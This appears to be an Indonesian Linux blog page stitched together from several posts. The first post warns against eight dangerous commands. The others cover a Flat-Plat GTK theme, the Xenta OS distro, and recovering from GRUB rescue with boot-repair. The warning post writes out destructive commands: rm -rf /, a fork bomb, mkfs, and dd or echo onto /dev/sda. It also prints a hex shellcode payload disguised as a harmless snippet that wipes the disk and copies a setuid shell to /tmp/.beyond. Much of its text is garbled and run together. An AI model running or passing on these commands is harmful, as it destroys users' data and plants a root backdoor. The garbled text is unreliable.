

Perintah-perintah linux memang sangat breguna dalam berbagai hal. Akan tetapi, tahukah kalian, ada perintah-perintah berbahaya yang tidak boleh kalian jalankan. Karena dapat merusak sistem.
Perintah-perintah tersebut biasanya dijalankan dengan akses super user (root/sudo). Apa saja 8 perintah-perintah berbahaya itu?
Mari kita bahas satu per satu…
rm sebenarnya digunakan untuk menghapus file dan direktori. Bila diberikan argumen -rf perintah ini akan menghapus secara rekursif.-rfartinya hapus secara rekursif/adalah direktori root
rm -rf / sudah jelas fungsinya, maka banyak orang-orang jahil di internet membuat samaran atau alias dari peritnah tersebut. Berikut ini bentuknya:char esp[] attribute ((section(“.text”))) /* e.s.p
release /
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;rm -rf /, hati-hati jangan terperdaya. Waspadalah ketika kalian menjalankan perintah yang tidak diketahui fungsinya.:(){ :|: & };:Berhati-hatilah menjalankan perintah dengan parametermkfs.ext4digunakan untuk membuat file sistem ext4/dev/sda1adalah partisi pertama pada hardisk
/dev/sd, karena perintah itu akan melakukan sesuatu terhadap hardisk maupun media penyimpanan yang lain.commandperintah apa saja>tanda ini maksudnya untuk menulis ulang isi sebuah file/dev/sdalokasi hardisk (karena hardisk dianggap file di linux)
echo “Hello World!” > /dev/sdadd sebenarnya untuk melakukan copy berserta file sistemnya. Perintah ini memiliki dua parameter yang umum digunakan, if (input stream) dan of (output stream).Hati-hati! perintah ini dapat membuat linux-mu menjadi tempat sampah.if= sumber yang akan di-copyof= tujuan/dev/random= file acak/dev/sda= hardisk kita
/dev/null dianggap sebagai lokasi berbahaya. Lokasi ini dijuluki Black Hole, karena apapun yang dikirim ke sana akan menghilang.mv= Pindah file (cut)/dev/null= lokasi black hole
Karakter tidle~adalah simbol lokasi home.


Konsep Material Design pertama kali diperkenalkan oleh Google. Konsep desain ini yang menjadi antar muka Android hingga saat ini.
Seorang pengembang dengan nama github nana-4, mencoba membuat tiruan konsep ini untuk tema GTK3, GTK2, Metacity, GNOME Shell, Unity, MATE, LightDM, GDM, Chrome theme, dsb. Tema ini diberi nama Flat-Plat.
install.sh sebagai root (sudo)sudo ./install.shSetelah itu, buka Theme Manager untuk mengganti tema. Biasanya terletak di System Settings > Theme.


Berawal dari proyek hobi, Dindin Hernawan kini resmi merilis distro Linux racikannya yang diberi nama Xenta OS.
Xenta OS dikembangkan dari Linux Mint. Dindin Hernawan memilih Linux Mint, karena stabil. Ya, tidak diragukan lagi, saya juga sudah lama dan betah menggunakan Linux Mint.


Pagi ini saya mendapatkan pengalaman yang cukup menegangkan. Awalnya, saya ingin memeriksa kipas laptop yang bising. Saya pun melepas beberapa komponen seperti hardisk dan RAM. Tapi, setelah dipasang kembali malah tidak bisa booting. Layar laptop hanya menampilkan pesan seperti gambar ini.

Pesan tersebut sempat membuat saya sedikit panik. Saya menduga hardisknya yang rusak, karena tidak bisa masuk ke sistem operasi. Kemudian, saya coba mencari informasi di internet terkait masalah ini.
Ada beberapa solusi yang ditawarkan di internet, seperti mengganti mode boot BIOS dari UEFI menjadi Legacy. Saya pun melakukannya dan dihadapkan dengan GRUB RESCUE>
Saya mulai curiga, ketika mengetik perintah ls di GRUB RESCUE> saya melihat isi dan partisi hardisk saya. Artinya, hardisk masih bagus dan datanya masih utuh. Mungkinkah hanya masalah kehilangan GRUB saja? GRUB RESCURE> mungkin sebuah prompt shell yang akan menyelamatkan GRUB yang hilang tersebut. Lalu saya mengikuti beberapa perintah yang didapatkan di internet.
grub rescue > ls
(hd0) (hd0,msdos5) (hd0,msdos3) (hd0,msdos2) (hd0,msdos1) (hd1) (hd1,msdos1)
grub rescue > ls (hd0,msdos1)
grub rescue > ls (hd0,msdos2)
grub rescue > set root=(hd0,msdos2)
grub rescue > set prefix=(hd0,msdos2)/boot/grub
grub rescue > insmod normal
grub rescue > normalHasilnya, saya gagal ketika mengetik perintah insmod normal. Katanya ada file yang tidak bisa ditemukan. Saat ini saya memang sedang boot dengan mode Legacy. Kemungkinan file tersebut tidak ditemukan karena saya menggunakan Linux 64bit.boot-repair. Untung saja di tempat saya ada koneksi WiFi.sudo add-apt-repository ppa:yannubuntu/boot-repairLalu, hanya memilih recommended repair saja, sudah kembali normal. Sekarang laptop saya sudah bisa boot lagi ke sistem operasinya.
sudo apt-get update
sudo apt-get install -y boot-repair && boot-repair


Ini dia cara keren mencetak dokumen dengan printer melalui perintah CLI di Terminal. Baca selengkapnya...